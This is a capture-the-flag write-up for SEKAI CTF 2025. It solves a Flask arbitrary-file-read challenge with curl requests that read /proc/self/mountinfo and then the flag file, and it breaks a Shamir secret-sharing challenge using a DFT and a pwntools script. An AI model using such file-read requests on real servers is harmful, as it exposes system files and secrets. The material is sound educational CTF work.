Advanced Interpolation with DFT - SEKAI CTF 2025
Table of Contents
After taking a short break (mainly because of DEFCON CTF — which I skipped since it’s one of the hardest CTFs out there), my team jumped back into action and joined SEKAI CTF. SEKAI CTF is a Capture The Flag competition where the winning team gets to choose a qualification spot for either MaltaCTF (September 2025) or XCTF (Summer 2026).
I’m really excited to share that we won the event 🎉 — and we’re now officially qualified for XCTF 2026!
This year’s SEKAI CTF was designed for intermediate/advanced players, so it definitely pushed me outside my comfort zone. Still, I managed to solve a few challenges, and in this post I’ll walk through the ones I worked on.
Web
My Flask App
I created a Web application in Flask, what could be wrong?
Let’s start with a web application challenge, which as you will see it was solved with an unintended solution. The challenge is a Flask application.
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def hello_world():
return render_template('index.html')
@app.route('/view')
def view():
filename = request.args.get('filename')
if not filename:
return "Filename is required", 400
try:
with open(filename, 'r') as file:
content = file.read()
return content, 200
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
It’s pretty easy to see that the application contains an endpoint /view that allows us to read any file from the server, so we can try to send a request /view?filename=/app/flag.txt to see if we can read the flag file.
Is it that easy? Well, not really.
FROM python:3.11-slim
RUN pip install --no-cache-dir flask==3.1.1
WORKDIR /app
COPY app .
RUN mv flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt && \
chown -R nobody:nogroup /app
USER nobody
EXPOSE 5000
CMD ["python", "app.py"]
The Dockerfile shows that the flag file is renamed to /flag-<random_string>.txt. Without knowing the exact name of the flag file, we can’t read it directly. But looking at the python code, we can see that Flask is running in debug mode, which means that if we could read the necessary files, we could create the PIN needed to authenticate to the debug console and obtain remote code execution.
But here comes the interesting part: since we are given the ability to read any file, maybe there is a file that contains directly the flag file name?
After some searching, I found that the file /proc/self/mountinfo contains exactly what we need.
curl -s "https://my-flask-app-wh0y066gxzj6.chals.sekai.team:1337/view?filename=/proc/self/mountinfo" | grep flag
4387 4340 259:1 /var/lib/kubelet/pods/f32d45a2-f768-47da-a0f6-0461d4644d5b/volumes/kubernetes.io~configmap/cfgmap/..2025_08_16_11_39_42.2016027116/flag /flag-l43BRI9VUuBaawVRJUEFDHuRNrc1LMoQ.txt ro,relatime - ext4 /dev/nvme0n1p1 rw,commit=30
Once the flag file name is known, we can read it directly.
curl "https://my-flask-app-wh0y066gxzj6.chals.sekai.team:1337/view?filename=/flag-l43BRI9VUuBaawVRJUEFDHuRNrc1LMoQ.txt"
SEKAI{iS_ThI5_3VeN-(all3d_a_cv3}
Flag: SEKAI{iS_ThI5_3VeN-(all3d_a_cv3}
Crypto
SSSS
Shamir SendS the Secret to everyone
Let’s have a look at the python code provided in the challenge:
import random, os
p = 2 ** 256 - 189
FLAG = os.getenv("FLAG", "SEKAI{}")
def challenge(secret):
t = int(input())
assert 20 <= t <= 50, "Number of parties not in range"
f = gen(t, secret)
for i in range(t):
x = int(input())
assert 0 < x < p, "Bad input"
print(poly_eval(f, x))
if int(input()) == secret:
print(FLAG)
exit(0)
else:
print(":<")
def gen(degree, secret):
poly = [random.randrange(0, p) for _ in range(degree + 1)]
index = random.randint(0, degree)
poly[index] = secret
return poly
def poly_eval(f, x):
return sum(c * pow(x, i, p) for i, c in enumerate(f)) % p
if __name__ == "__main__":
secret = random.randrange(0, p)
for _ in range(2):
challenge(secret)
The challenge is based on Shamir’s Secret Sharing Scheme (SSSS). For each run it asks the user to choose t (between 20 and 50), builds a random polynomial of degree t with modulo p, and forces one coefficient of that polynomial to be the secret. We can then evaluate the polynomial at t points of our choice. The whole process runs twice with the same secret but different random polynomials. At the end we must give the secret to get the flag.
The first things that comes to mind is that we can use Lagrange interpolation to reconstruct the polynomial and find the secret. However, a polynomial of degree t has t+1 coefficients. To recover every coefficient with Lagrange interpolation we need t+1 points. But the challenge only evaluates t points, so direct interpolation can’t give us the full polynomial.
To solve this challenge, we can use the fact that we can choose the value of t and the points which will be evaluated and then use the Discrete Fourier Transform (DFT).
Specifically, assume we have a polynomial of degree t:
$$
f(x) = a_0 + a_1 x + a_2 x^2 + … + a_t x^t \mod p
$$
The $n$-length DFT of the polynomial is given by the $n$-tuple $\left(f_0, f_1, …, f_{n-1}\right)$ defined as:
$$
f_k = f\left(\omega^k\right)
$$
where $\omega^n = 1$ and $\omega^k \neq 1$ for $0 < k < n$, which means that $\omega$ is a primitive $n$-th root of unity.
Since we have $t$ points, we can choose $n = t$ and compute the $t$-length DFT of the polynomial, which means $w^t = 1$ and thus the DFT values are given by:
$$
\begin{align*}
f_k = f\left(\omega^k\right) &= a_0 + a_1 \omega^k + a_2 \omega^{2k} + … + a_t \omega^{tk} &\mod p \newline
&= a_0 + a_1 \omega^k + a_2 \omega^{2k} + … + a_t \cdot 1 &\mod p \newline
&= (a_0 + a_t) + a_1 \omega^k + a_2 \omega^{2k} + … + a_{t-1} \omega^{(t-1)k} &\mod p \newline
&= b_0 + b_1 \omega^k + b_2 \omega^{2k} + … + b_{t-1} \omega^{(t-1)k} &\mod p
\end{align*}
$$
This means that the DFT values of the polynomial are equal to the DFT values of a polynomial of degree $t-1$ with the same coefficients except for the first being $a_0 + a_t$ and we can use the inverse DFT to recover the coefficients of this polynomial:
$$
b_i = \frac{1}{t} \sum_{k=0}^{t-1} f_k \cdot \omega^{-ik} \mod p
$$
where $b_0 = a_0 + a_t$ and $b_i = a_i$ for $1 \leq i < t$.
This means that we can recover almost all coefficients of the starting polynomial of degree $t$ except the first and last coefficients, with just $t$ points.
Now, that we know how to recover almost all coefficients, we need to find a suitable value for t and w, so that w is a primitive $t$-th root of unity. To do this, we are guaranteed a root of unity exists if t divides p-1, so we can simply choose the first t between 20 and 50 that satisfies this condition (in our case t=29). To find a $t$-th root of unity w, we can use a simple trick explained in this article, which states that we can take a random non-zero x in the field and compute:
$$
w = x^{\frac{p-1}{t}} \mod p
$$
To check if w is a primitive root of unity, we can verify that $w^k \neq 1$ for all $1 \leq k < t$. If this condition does not hold, we can simply try another random x until we find a suitable w.
The last step is to repeat the process twice, once for each run of the challenge, and find the intersection of the sets of coefficients we recovered. It is possible that in one of the runs the secret is stored in the first or last coefficient, in that case the intersection will be empty, so we can simply re-run the exploit until we find a non-empty intersection.
from pwn import *
from chall import p
from sympy import mod_inverse
io = remote("ssss.chals.sekai.team", 1337, ssl=True)
t = 29 # 29 divides p-1
def find_primitive_root_of_unity(t):
exp = (p - 1) // t
while True:
x = random.randrange(1, p - 1)
z = pow(x, exp, p)
if all(pow(z, k, p) != 1 for k in range(1, t)):
return z
def inverse_dtf(f, w, t):
inv_t = mod_inverse(t, p)
w_inv = mod_inverse(w, p)
coeffs = []
for i in range(t):
s = 0
for k in range(t):
s += f[k] * pow(w_inv, i*k, p) % p
coeffs.append(s * inv_t % p)
return coeffs
def do_round(io, t):
w = find_primitive_root_of_unity(t)
xs = [1]
for i in range(1, t):
xs.append(pow(w, i, p))
io.sendline(str(t).encode())
ys = []
for x in xs:
io.sendline(str(x).encode())
y = int(io.recvline().strip())
ys.append(y)
coeffs = inverse_dtf(ys, w, t)
candidates = set(coeffs[1:])
return candidates
# Round 1
S1 = do_round(io, t)
io.sendline(b"0")
io.recvline()
# Round 2
S2 = do_round(io, t)
# Find the unique intersection (the secret)
secret = S1 & S2
if not secret:
raise RuntimeError("Intersection empty (unlucky). Re-run the exploit.")
io.sendline(str(secret.pop()).encode())
print("Flag: ", io.recvline().decode())
Flag: SEKAI{https://youtu.be/XGxIE1hr0w4}